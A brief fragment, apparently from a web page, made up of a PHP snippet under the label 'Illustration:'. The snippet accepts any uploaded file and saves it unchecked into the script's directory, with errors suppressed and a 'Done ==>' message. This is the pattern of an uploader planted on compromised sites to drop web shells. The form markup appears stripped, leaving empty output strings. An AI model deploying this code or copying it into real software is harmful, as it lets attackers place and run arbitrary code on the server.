qwe link
....

Illustration:
if(isset($_POST['Submit'])){
$filedir = "";
$maxfile = '2000000';

$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if (isset($_FILES['image']['name'])) {
$abod = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $abod);

echo"

Done ==> $userfile_name
";
}
}
else{
echo'
';
}
?>